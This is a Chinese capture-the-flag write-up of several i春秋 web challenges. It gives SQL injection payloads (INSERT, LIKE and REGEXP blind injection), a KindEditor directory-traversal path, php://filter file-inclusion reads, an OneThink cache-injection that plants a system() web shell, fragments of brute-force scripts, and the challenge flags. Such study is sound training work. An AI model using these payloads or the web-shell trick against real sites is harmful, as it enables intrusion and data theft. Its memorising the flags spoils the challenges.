i春秋8
web——blog
尝试注入无果,决定注册登录看看,在看到可以上传图片的时候,试试文件上传,发现报错:
得知是kindeditor,寻找漏洞:https://www.jb51.net/hack/367946.html
尝试漏洞:
1 | /kindeditor/php/file_manager_json.php?path= |
目录下存在文件包含漏洞
但由于该漏洞只是目录遍历漏洞,所以没办法查看,于是回到前面,在post页面尝试一下sql注入,存在注入点,但是由于不知道列名所以union select一直使用不了,如果是过滤的话,当我输入select前台是可以回显的看一下wp,说是insert注入:
1.推断insert的字段数——4个:payload:4’,’5’)# 此时没有报错
2.构造注入语句,查看可回显字段位置,这里有个点,当我对后面的内容进行闭合注释的时候,发现网页是无回显内容的,推测可能注释了什么关键指令导致页面无法回显,所以这里的payload应写为:
1 | 1','1'),('aaa',(select database()),'c //miniblog |
使用管理员账号密码登录发现有个manage页面,查看,有文件包含漏洞,但是依旧无法看源代码
法一:使用php://filter封装协议进行查看
flag{838c24a1-64d7-413b-8499-0ce7e32e0bef}
参考学习:https://www.smi1e.top/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E4%B8%8Ephp%E4%BC%AA%E5%8D%8F%E8%AE%AE/
**法二:**来自张力学长的博客:
manager.php自包含产生栈溢出,down掉程序,php自启程序,但是写入的$_FILES[‘tmp’]存储在/tmp中没有被删除。
1 | payload:?module=php://filter/convert.base64encode/resource=../flag.php&name= |
flag{838c24a1-64d7-413b-8499-0ce7e32e0bef}
参考学习:https://www.smi1e.top/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E4%B8%8Ephp%E4%BC%AA%E5%8D%8F%E8%AE%AE/
**法二:**来自张力学长的博客:
manager.php自包含产生栈溢出,down掉程序,php自启程序,但是写入的$_FILES[‘tmp’]存储在/tmp中没有被删除。看都看不懂–先学习一下原理再来补充
思路小结
整理一下这题的思路吧,看到login页面推测是注入——注入无果,注册账号登录页面继续探索——尝试上传木马来getshell,发现根本上传不了——看到路径信息,还有编辑器的名字——百度搜索已有漏洞,发现有文件浏览遍历漏洞——发现flag.php,无法使用php封装协议故无法打开源码——回到页面去寻找线索,在post页面尝试SQL注入,发现有注入点于是开始尝试注入——注入成功获得admin的密码——登录得到新页面manage——再次看到文件包含漏洞,发现可以使用php封装协议,读取源代码——获得flag
web——OneThink
原理在这里:https://ca3tie1.github.io/post/onethink10-code-execute-writeup/
总结起来就是:
我们注册的username会被缓存写入缓存文件夹中并进行注释,使得其中内容不会被执行,当我们在插入数据的前面添加换行符,我们的语句就绕过了注释符,就可以被执行,登录之后就会生成Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php文件夹,访问即可
首先确定我们想要插入的语句,这里就直接使用system拿flag吧:
$a=$_GET[‘a’];
system($a);
这里需要分两次进行注册,因为有长度限制
1 | Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php |
1 | flag{8e5702a3-5a1c-467b-9ad9-c771bd65dfea} |
吐槽一波 这个简单是简单,就是太恶心了吧,验证码经常出错–,每次还要连续按两次啊
web——攻击
1 |
|
根据以上代码我们可以知道,他一个ip只能攻击一次,但是它没对一次可以post的数据量限制,所以我们可以创建一个大字典,直接一起提交上去,他这边需要我们提交的是从flag第5位开始,一共三位的字符串,python脚本如下:
1 | import requests |
flag{269f92bb-9d65-44fc-8436-806b0bb6c5d1}
web——时间:
1 |
|
所以是这样的,当我们用名为token值为hello的cookie访问页面的时候,会生成一个随机txt文件,并且flag.php的内容会写入其中,经过十秒后,文件就会被删除,
1.先生成一个md5加密的文件名字典:
1 | import hashlib |
这里既可以使用burpsuit去跑,也可以用御剑去跑,可能要多尝试几次,毕竟只有十秒钟,或者线程调大一些
1
flag{913f76f9-9af0-4f9d-8c5b-a2195e64bd22}
web——登录
有个登录框:
1 | admin'or 1=1# |
回显不一样 第一个密码错误,第二个用户名错误,存在注入,burp suit跑一下看看过滤了什么
:
记得以前看过like可以盲注,今天来学习一下:
LIKE语法
LIKE语句的语法格式是:
*select * from 表名 where 字段名 like 对应值(子串)*
它主要是针对字符型字段,它的作用是在一个字符型字段列中检索包含对应子串。
例子:
后面的%是一个通配符还有常用
更多的通配符参考:
_代表一个字符,例如D___就代表显示出以D为首后面接三个字符的数据
https://blog.csdn.net/derpvailzhangfan/article/details/2452064
而这里是不区分大小写的
构造盲注语句
1 | 1'or user_n3me like 'X%'# |
这里说明一下为什么字段名为这两个,其实有点猜测的成分在这里,因为这题大部分函数都过滤了,所以想要得出字段名只能靠猜测,想起来之前也有一题也是这样的,字段名就藏在网页提交表单的表名中
接下来的任务就是编写盲注脚本:
1 | import requests |
得到用户名bctf3dm1n。密码的爆破就把payload的内容更换一下,这里说一下这个长度,由于我比较懒,所以就没爆破长度,直接去试,如果想要先爆破长度可以这样将like后面的内容换成_并且随着循环次数的增加_的数量会增加,if的判断是如果用户名错误,就直接终止整个程序
这个看起来就像是MD5加密,解密一下得到:adminqwe123666 登录后得到这个信息,看起来像是git? 猜测是源码泄露,工具扫描一下 之前用的都是githack可能是我版本没更新一直没看下载完全 于是我换了一个git_extract,也不行??只有一个flag.php,问题出在哪了吗,看了一下wp发现也是这样写的呀,于是就直接去看了一下别人的题解,发现下载到那个文件以后,访问就可以看到flag了REGEXP盲注语法:
注入原理
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。
应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。
^
表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0(
2)regexp关键字还可以代替where条件里的=号
1 | select * from users where password regexp '^ad'; |
使用场景:
过滤了=、in、like
^
若被过滤,可使用$
来从后往前进行匹配
常用regexp正则语句:
1 | regexp '^[a-z]' #判断一个表的第一个字符串是否在a-z中 |
(3)在联合查询中的使用
1 | 1 union select 1,database() regexp '^s',3--+ |
盲注
2.判断数据库名
1 | ' or database() regexp '^s'--+ 正常 |
和上面的like差不多不过通配符不太一样